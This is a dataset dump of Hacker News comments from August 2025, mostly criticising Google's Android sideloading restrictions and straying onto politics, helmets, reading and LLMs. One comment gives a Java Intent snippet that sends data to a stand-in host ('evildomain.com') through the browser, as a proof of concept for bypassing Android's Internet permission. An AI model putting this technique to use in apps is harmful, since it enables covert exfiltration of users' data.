MurphyA/hacker-news huggingface dataset:
by mothballed | 2025-08-25 22:19:14+00:00
Clearly there is something else at play stopping the market price from emerging, otherwise one of the in-towners could just resell the water to the excluded persons from their supply at a profit. I'm guessing they've made this illegal, though, since it's such an obvious solution of a win-win to a quick buck to a local that wasn't used. At the very least there is always a crackhead who needs $20 for a hit, I don't see how you can get the whole town to collude out of spite, it's just completely infeasible unless the people buying are like notorious child snatchers or something.
by bsimpson | 2025-08-25 22:20:06+00:00
You're on a tangent of a tangent, but:

Old school helmets use the philosophy that in a crash, you want your head to be harder than its opponent.

New school helmet use the philosophy that a helmet should absorb or deflect as much energy as possible, so that energy doesn't get translated to your brain.

They are actually diametrically opposed. Fortnine (the same channel I linked earlier) has a video on the SNELL standard. Its origins are as a beefier version of the DOT standard. They recently found themselves at a crossroads where it's impossible to both meet SNELL and meet ECE 22.06 (today's state-of-the-art standard). They ended up bifurcating SNELL into two standards: one that meets old DOT-based SNELL, and another that basically says "if it's 22.06, they can call it SNELL variant B." It was the only way they could keep the SNELL brand alive across both halves of the transition.
by echelon_musk | 2025-08-25 22:20:27+00:00
When people say just use Linux I can only think of what was known as far back as 2014.

> NSA: Linux Journal is an "extremist forum" and its readers get flagged for extra surveillance [0]

Looks like this is a part of the move toward Chat Control and ending E2E encryption.

[0] https://www.linuxjournal.com/content/nsa-linux-journal-extre...
by shazbotter | 2025-08-25 22:20:38+00:00
It's absolutely not the case. The US is an empire with increasingly dictatorial power centralized in the executive. Clinton increased prison populations and increased police power. Bush increased executive power during his post 9-11 presidency. Obama regularly enforced U.S. policy at the end of a drone strike and shut down U.S. domestic agitation. Biden increased police funding and continued to sell surplus military equipment to cops. He also shut down a workers strike. Trump is a symptom of a general slide towards dictatorial policy. If it wasn't him this time it would have been one of the next 5 presidents from either policy.

Trump is doing some fucked up shit, but he doesn't get to be able to do that without decades of groundwork from both sides of the aisle.
by lucb1e | 2025-08-25 22:20:50+00:00
They're happy in their walled garden, until they don't and discover there is a wall they now can't overcome and learn whose hardware it really is

I do think it is in everyone's interest to be able to run software of your choosing on hardware you bought to own. The manufacturer needn't make it easy (my microwave sure didn't expect to install extra software packages; I don't expect them to open up an interface for this) but they also don't need to actively block the device owner from doing it
by zmmmmm | 2025-08-25 22:21:01+00:00
The worst part is the Orwellian opening sentence they start with in their blog post [0]:

> You shouldn’t have to choose between open and secure

2+2=5

Truly the end of an era. I've spent nearly two decades buying Android phones because of a single checkbox in settings that let me have the freedom I consider essential to any computing device that I own.

In a way, it's liberating, I've missed out on a lot from the Apple ecosystem because of that checkbox. Maybe finally I can let go of it now the choice is out of my hands.

[0] https://android-developers.googleblog.com/2025/08/elevating-...
by hinkley | 2025-08-25 22:21:11+00:00
The dumbest part is that we’d known about this for a long time and one day someone discovered we’d implemented a feature toggle to remove those URLs and then it just never got turned on, despite being announced that it had.

They were meant to be interactive URLs on search pages. Someone implemented them I think trying to allow A11y to work but the bots were slamming us. We also weren’t doing canonical URLs right in the destination page so they got searched again every scan cycle. So at least three dumb things were going on, but the sorts of mistakes that normal people could make.
by lawlessone | 2025-08-25 22:21:32+00:00
i made and released some apps in the early days. Got tired of it and got tired of the reminders from google to add banners, screenshots, submitting icons to support multiple resolutions.. notifications that apps i haven't touched in decade are no longer compatible etc.

so much extra work involved that isn't building the app.

I worry how this will affect fdroid etc.
by jmcphers | 2025-08-25 22:22:03+00:00
Another good place to get DRM free music is 7Digital! That's my go-to place when Bandcamp doesn't have it. Their prices are often a lot better than the sites that cater to audiophiles, though you can still buy high-res FLAC there if that's your thing.

https://us.7digital.com/
by MadnessASAP | 2025-08-25 22:22:19+00:00
With more coffee on me, another way to put it would be to say the neural networks in a LLM use dense layers where every neuron takes the output from every neuron in the previous layer and outputs to every neuron in the next layer.

A brain doesn't have layers and uses sparse connections, any neuron can connect to any other neuron (but not ever other neuron). You can recreate this structure on a computer but how do you decide where your inputs and outputs are? How do you train it? Since it never halts how do you know when to take the output?

There's a reason CS loves its graphs directed and acyclic, they're a lot easier to reason about that way.
by stockresearcher | 2025-08-25 22:22:24+00:00
How deep is the typical well, and is that the primary driver of the cost?

I’m east of the Mississippi and my well is 200 feet deep. But this aquifer is fully allocated; all the new construction has to go to a different aquifer with a typical well depth of 700 feet. Once that is fully allocated, I think there is another one at around 1100 feet.
by Havoc | 2025-08-25 22:23:09+00:00
Was absolutely horrified when books read per year came up in a discussion and I realized answer was maybe one.

That was in a discussion with my parents no less...who raised me in a household that had an unspoken "we'll pay for it if you finish the book" rule so book culture was definitely there.

Worst part is my book acquisition strategy has been on point. I have good books. Amazon daily sales are 95% crap...5% daily not crap monitored daily over years = library of respectable books.

idk...as I said horrified is the word that comes to mind. I genuinely don't get how this snuck up on me like that
by martin-t | 2025-08-25 22:23:11+00:00
When you say new mathematical theorems, they absolutely can. So can infinite monkeys on typewriters, though LLMs have a much better heuristic to arrive at valid trheorems.

The same applies to valid new programs.

The issue I have with this is pretending that the word "new" is sufficient justification for giving all the credit/attribution and subsequent reward (reputational, financial, etc.) to the person who wrote the prompt instead of distributing it to the people in the whole chain of work according to how much work and what quality of work they did.

How many man-hours did it take to create the training data? How many to create the LLM training algorithm and the electricity to run it? How many to write the prompts?

The most work by many, many orders of magnitude was put in by the first group. They often did it with altruistic goals in mind and released their work under permissive or copyleft licenses.

And now somebody found a way to monetize this effort without giving them anything in return. In fact, they will have to pay to access the LLMs which are based on their own work.

Copyright or plagiarism are perhaps the wrong terms to use when talking about it. I think copyright should absolutely apply but it was designed to protect creative works, not code in the first place.

Either way it's a form of industrialized exploitation and we should use all available tools to defend against it.
by UncleMeat | 2025-08-25 22:23:12+00:00
> I've heard claims that the Internet permission is flawed, yes, but I've never managed to find even a single PoC bypassing it.

Uri uri = Uri.parse("https://evildomain.com/upload?data=DATA_GOES_HERE); Intent i = new Intent(Intent.ACTION_VIEW, uri); startActivity(i);

Happily uses the browser app to do the data send for you. Requiring apps to have all the permissions of the recipient of an Intent before being allowed to send it would be a catastrophic change to the ecosystem.
by itishappy | 2025-08-25 22:24:46+00:00
> Aren't these in direct conflict? If you can't resaturate it, that implies it's not desaturated.

Kinda. There's a singularity in the math. The problem is that hue is defined as an angle and saturation is defined as distance from the center, but there's no consistent way to define a direction for the origin. Black and white have the same problem because they're also desaturated.

> And if you buy a forest motif, people will be upset if it's pink. That's just doing a tie-dye wrong, not a rebuke of whether it's a color at all.

I'm not arguing that it's not a color, just that it doesn't belong in all gradients!
by matt_s | 2025-08-25 22:25:11+00:00
Its fun watching things swing back and forth over time. I remember having those Sun mini-fridge size servers, all running RISC sparc based CPU's if I remember correctly. I wonder if there would be some merit in RISC based linux servers, like maybe the power consumption is lower? I forget the pros/cons of RISC vs CISC CPUs.
by shazbotter | 2025-08-25 22:25:16+00:00
You have to stop thinking it's us or them. You have to stop imagining that somehow any of this is ok because my team or your team did or didn't do something.

I certainly hope I've been clear that this isn't some D vs R conflict. Both parties are at fault, both parties own some blame, but the situation today is not ok. It was also not ok under Biden, Trump 1, or Obama. We should be looking at ways to get the working class to look past our differences and securing more of the pie for ourselves. We should be reducing the power of the executive, no matter who is sitting in the seat. We should be focusing on the wellbeing of all.

Stop making a team sport, or at least correctly identify that you have way more in common with me (a working class anarchist) than you do with the people in power.
by didibus | 2025-08-25 22:25:17+00:00
I really like their listed user experience goals:

1. Cross-platform engagement

Create content via one platform and engage with users on other platforms.

2. Moderation choice

Voluntarily opt into moderation policies that reflect the experience you want.

3. Data portability

Data portability and credible exit are built in (you can take your data and followers with you).

4. Advertising disincentive

Portability prevents lock-in or captive audiences, which disincentivizes advertising.

5. Algorithmic choice

Users can choose the feeds and algorithms that work for them.

It's not do it yourself, it's more having more control if you want too.
by luke-stanley | 2025-08-25 22:25:19+00:00
So Google won't even offer a system toggle to let users install an app they've made or copied?

Google don't even expose a per-app toggle for app Internet access, why am I surprised?

This is disgusting.

Freedom died a little bit more today.

Why is end-user choice and consent not considered?

It's really disturbing that the EU and Google would do this.

I can't recommend Android or iPhone because of this nonsense.
by _blk | 2025-08-25 22:25:21+00:00
Dick move. Go back to "do no evil" big G. Remember how you used to be the kool kid on the block? Now you've just become the grown up you showed contempt for in your prime time.

I doubt I'll move away from Android too soon, but that definitely makes me reconsider whether any Google services have a right to CPU time on my device.
by worldsayshi | 2025-08-25 22:25:29+00:00
Developers sometimes seem to be as in control as farmers are of the distribution of their produce. There's no absolute rule that gives the owners of large scale distribution networks power over both producer and consumer. It's just laws of convenience. It's easier for everyone to go through a few or just a single common broker.

There's no law against a more democratic way to implement the broker either but it requires interesting methods of coordination and/or decision making that doesn't seem to exist yet?
by seanw444 | 2025-08-25 22:25:52+00:00
Makes sense why they had to get rid of the "don't be evil" motto. They've been on a roll.

I've seen a lot of similar sentiment on this thread, but the reason I use Android is because it gives me more control than iOS by allowing full-on painless sideloading, and custom distributions like GrapheneOS. They're doing everything they can to turn themselves into a worse Apple. All of the downsides of Apple, but none of the upsides. Apple beats them in every aspect that isn't "openness".

When will the straw break the camel's back? I'm shocked we've let it get to this point with no realistic alternatives. There's no reason a competitive Linux-based smartphone can't exist (no, I'm not counting Android in that).
by donmcronald | 2025-08-25 22:25:57+00:00
This was the first thing that crossed my mind. If it’s not too much money and hassle I could buy a second device for GrapheneOS and tether to the cheapest phone I can get for the official ecosystem.

Really though, it doesn’t have enough impact for consumers. If I get unfairly banned as a developer, no one even notices because that’s nothing more than an opportunity for another developer to step in.

Individually we have no power :-(
by Felger | 2025-08-25 22:26:05+00:00
MiniPCs...

Have seen hundred of chinese ones fail. More than half failed between 1 and 3 years.

As stated by others, issues are mainly and very commonly with the power stage / power management of the mainboard. Also, soldering quality issues leading to failures.

Far less issues with good brands like Dell and HP (had a few hundred of desktop mini g2/3/4). Even tinys from Lenovo do perform quite well compared to their entry level laptops (also quite bad). Industrial computers form factor are also generally quite good but quite expensive, even second hand ones.

Currently don't have enough feddback on the Asus ones nor enough volume to draw conclusions, but so far they performed well with minimal issue, even with models back from i3/i5 8th gen series.
by xp84 | 2025-08-25 22:26:29+00:00
> the ISPs will be motivated to stay in business and police their customers' traffic harder.

You can be completely forgiven if you're speaking from a non-US perspective, but this made me laugh pretty hard -- in this country we usually have a maximum of one broadband ISP available from any one address.

A small fraction of a few of the most populous, mostly East-coast, cities, have fiber and a highly asymmetrical DOCSIS cable option. The rest of the country generally has the cable option (if suburban or higher density) and possibly a complete joke of ADSL (like 6-12Mbps down).

There is nearly zero competition, most customers can choose to either keep their current ISP or switch to something with far worse speed/bandwidth caps/latency, such as cellular internet, or satellite.
by Swizec | 2025-08-25 22:26:49+00:00
Question: How much is this impacted by people who read for pleasure but fool themselves into thinking it's useful?

Many books are closer to edutainment than practical applicable advice. To a certain type of person these are easier to read (spend time on) than reading purely fiction. And even then it's easy to say you only read fiction that is totally giving you something more insightful than entertainment.

See also many YouTube/Instagram/TiKTok channels and most if not all Substack (et al) newsletters. Yes of course deep diving into <niche subject> at 2am is super critical to my life!
by GeekyBear | 2025-08-25 22:27:49+00:00
The Nexus 6P had the same issue with random shutdowns, and although Google refused to do anything about it some users on XDA developed a patch that disabled all the performance cores completely.

> XDA user XCnathan32, along with assistance from two other users, created the fix and put it up for anyone to give it a whirl. Without getting too technical, the fix shuts down all four of the Nexus 6P octa-core Snapdragon 810 processor’s performance cores that seemingly prevent the phone from properly booting

https://www.androidauthority.com/nexus-6p-bootloop-fix-78930...
by Kim_Bruning | 2025-08-25 22:27:50+00:00
I might partially agree, but the market already has a fantastic, secure option for those users: Apple.

Android's value was always in being the open(ish) alternative. When we lose that choice and the whole world adopts one philosophy, the ecosystem becomes brittle.

We saw this with the Bell monopoly, which held up telephone innovation for three quarters of a century.

In the short term, some users are safer. In the medium term, all users suffer from the lack of competition and innovation that a duopoly of walled gardens will create.
by lovich | 2025-08-25 22:27:50+00:00
I’ve found my own reading for pleasure has dropped a lot the past year as well and it’s almost entirely due to AI.

Most(easily 90%) of my reading came in the form of serialized novels that are published chapter by chapter in various forums. They’ve all been swamped with AI content that’s good enough to not be immediately obvious but then becomes a waste of time after a few paragraphs.

And it’s just a firehose of this kind of content. I can’t tell if the actual human made content is down because people are tired of the competition or if there really is that much bot activity that the human activity is being watered down to single digit percentages
by pbasista | 2025-08-25 22:28:07+00:00
An interesting idea. But who would have to "stick" to such software? The users?

It seems to me that most of the users do not care much about what kind of software their phone runs, unfortunately. As long as it works with Instagram or whatever other big brand social media is trending these days, they are happy. Which is I think understandable.

The companies developing the apps are in my opinion driving this cultural shift. And they are doing it mostly because it brings them commercial advantages. Which is, I think, also understandable.

Everyone involved seems to to what appears to be in their best interest. And yet, collectively, we as a society get a worse outcome overall. This phenomenon perhaps has a name.

In order to break out of it, I think that the incentives on both sides need to be adjusted. It needs to be in the companies' interest to produce apps as open source. And the users need to want them.

The only way I can think of to achieve that kind of a change is when the open source apps and products become just inherently better than their proprietary alternatives. In all categories. Then, the people would want them. And then the companies will start to produce them.

It is a very tough goal. The commercial apps do not have to be better in all categories to retain their users. They can use vendor locks or other business strategies which restrict the users' ability to leave them.

Open source apps cannot do such things. The only fair ground on which they can compete is their quality.
by impossiblefork | 2025-08-25 22:28:24+00:00
I like the idea that accounts like yours are due to a deception system to create false radar echoes for confusing incoming ballistic missiles, with these being tested now and then so that they are confirmed to work.

I don't think this is true though. It doesn't fit all the details and I don't think the lasers to do it have existed long enough, if they even exist now.
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by MauricioPinguim | 2025-08-25 22:28:26+00:00
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by vlovich123 | 2025-08-25 22:28:28+00:00
I agree. I’m just trying to speak to the “realist” argument that Wilderberg presents claiming that some numbers aren’t real and there’s no point talking about them when they come from very practical mathematics let alone the ones that aren’t. In no way was I trying to claim that some part of maths aren’t real - I was trying to understand the consistency of what to me seems like a confusing argument to make.
by phantomdata | 2025-08-25 22:28:49+00:00
I don't see anyone boycotting github, cisco, dropbox, figma and many other companies that where/are founded by sequoia and to this day do fishy stuff and have questionable people on their seats. But sure, let's boycott the open source startup that wants to pay their devs for writing code but let's keep hosting our code on github owned by microsoft which provides Israel with compute power for mass surveillance, that makes total sense.
by martin-t | 2025-08-25 22:30:07+00:00
Malware is the excuse. Control is the goal. Extracting as much money from people while providing less actual value.

The saddest part is this is to the detriment of literally everyone except a couple rich owners of those companies. And everyone has the right to vote. But western democracy is so indirect the people who understand and care have no way to change the law because their signal is lost in all the noise by those who don't know or don't care.

If the vote came down to people in favor of walled gardens or in favor of forcing companies to open their platforms, with everyone else not voting, it would be a landslide. But there's no way to vote on it this way.
by zrobotics | 2025-08-25 22:30:26+00:00
I mean, I just did a quick look over the installed apps on this phone and ~1/4 of them would work perfectly well without an internet connection, things like a level or GPS speedometer that use the phone sensor or apps for Bluetooth control of devices [like 0] . Why would something like a bubble level app need internet access for anything besides telemetry or ads? I realize I have way more of these types of apps than the average user, but apps like this aren't a super-niche thing that would be on 0.1% of devices.

I just tend to give Google little benefit of the doubt here, considering where their revenue comes from. Same as when they introduced manifest v3, ostensibly for security but just conveniently happening to neuter adblocking. Disabling access to the internet permission for apps aligns with their profit motive.
by CuriouslyC | 2025-08-25 22:30:31+00:00
You can, but my tool actually handles the raw chat context. So you can have millions of tokens in context, and actual message that gets produced for the LLM is an optimized distillate, re-ordered to take into account LLM memory patterns. RAG tools are mostly optimized for QA anyhow, which has dubious carryover to coding tasks.
by roscas | 2025-08-25 22:31:04+00:00
It its just a tool, use it as a tool.

Rmember when we had to create programs reading the assembler manual and put byte by byte? It was kinda hard. Then someone invented a language. A compiler started to do all the work you did not wanted to do. And the time you took to create a program came from months to minutes.

My only question is, why use something like that Grok since you know who runs that.